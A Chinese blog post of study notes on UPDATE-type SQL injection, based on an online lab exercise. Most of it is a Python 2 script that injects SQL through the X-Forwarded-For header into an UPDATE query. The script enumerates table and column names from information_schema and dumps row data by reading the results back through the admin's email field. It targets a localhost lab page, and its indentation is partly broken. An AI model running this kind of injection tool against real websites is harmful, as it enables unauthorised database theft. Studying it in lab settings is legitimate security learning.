渗透测试之Update型注入学习笔记

参考实验:http://www.hetianlab.com/expc.do?ce=572fa9e9-7eb1-4928-bfe3-eaa444eab1e0

sqlupdateattack.py

   #!/usr/bin/python

    # -*- coding: utf-8 -*-

    import HTMLParser 

    import urlparse 

    import urllib 

    import urllib2 

    import cookielib 

    import string 

    import binascii

    import re

    import time

    #截取字符串中startStr,endStr中间的值

    def GetMiddleStr(content,startStr,endStr):

        patternStr = r'%s(.+?)%s'%(startStr,endStr)

        p = re.compile(patternStr,re.S)

        m= re.search(p,content)

        if m:

            return m.group(1)

    #跑表数量

    def count(table_name,mode):

        if mode==0:

            tn16=binascii.b2a_hex(table_name.encode("utf8"))

            sql_count='1.1.1.1\',email=(select count(COLUMN_NAME) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'

        else:

            if table_name=='testuser':

                sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'

            else:

                sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'

        return sql_count

    #跑表的列名用到的sql注入语句

    def sql_column(table_name,num):

        tn16=binascii.b2a_hex(table_name.encode("utf8")) 

        sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'

        return sql_column

    #跑表的内容

    def sql_data(table_name,column,num):

        sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id  limit '+str(num)+',1) where username=\'admin\'#'   

        return sql_data

    #跑表的内容(与update所用表(即演示中的testuser表)冲突使用)

    def sql_users(column,num):

        sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by ID limit '+str(num)+',1) where username=\'admin\'#'

        return sql_users

    #注入,先模拟登陆后截取结果并写入文件   

    def inject(posturl,sql):

        try:

            cookieJar=cookielib.CookieJar()

            opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

            headers =  {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04', 

                        'X-Forwarded-For' : sql} 

            postData = {'uname' : 'admin', 

                        'passwd' : 'admin', 

                        'submit' : 'Submit' } 

            postData = urllib.urlencode(postData) 

            request = urllib2.Request(posturl, postData, headers) 

            result = opener.open(request)

            str=result.read()

            m=GetMiddleStr(str,'your email is:','</font><br>')

            return m

        except Exception,err:

            err = 'weberror'

            raise Exception(err)

    if __name__ == '__main__': 

        posturl = 'http://127.0.0.1/test/index.php'

    table_name=['testuser', 'test1']

    #先跑表的各字段名,并存放到临时的column_name中   

        column_name=[]

        for table in table_name:

            sql_count=inject(posturl,count(table,0))

           print table+":\r\n"

           for num in range(int(sql_count)):

                sql=sql_column(table,num)

                try:

                    m=inject(posturl,sql)

                    column_name.append(m)

                except TypeError:

                    print 'error'  

            print column_name

    #跑对应的数据   

            for column in column_name:

                print table+"|||"+column+":"

                for num in range(int(inject(posturl,count(table,1)))):

                    if table=='testuser':

                        sql=sql_users(column,num)

                    else:

                        sql=sql_data(table,column,num)

                    m=inject(posturl,sql)

                    print m

            print "\n"  
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 守望 荆郊 绵绵时光 摆动着春意微荡 透过花香 划过衣...
    折花蔻阅读 2,738评论 0 0
  • 今天是冬至。 昨天爸爸妈妈在群里发红包让孩子们今天记得吃汤圆。 于是中午在食堂吃了一碗汤圆 ,仿佛完成了某种仪式那...
    丁小强阅读 1,126评论 0 0
  • 你是我的美娇娘 我是你的小伙子 六千多级天梯 是我为你五十载修筑而成 一天/一天 一级/一级 当那天,你披着红盖头...
    芙芝阅读 3,060评论 0 0
  • 天鹅一生严守一夫一妻制,若一方死亡,另一方则不食不眠,一意殉情 所以,天鹅,被视为忠诚和永恒爱情的象征。人们常...
    someway阅读 22,391评论 0 1
  • 你好: 我是哲鋭。 高考结束,各位学子可以好好休息一下了。每年都会有报道说,有同学高考结束后将课本撕得粉碎扔下楼去...
    哲鋭阅读 4,734评论 1 3

友情链接更多精彩内容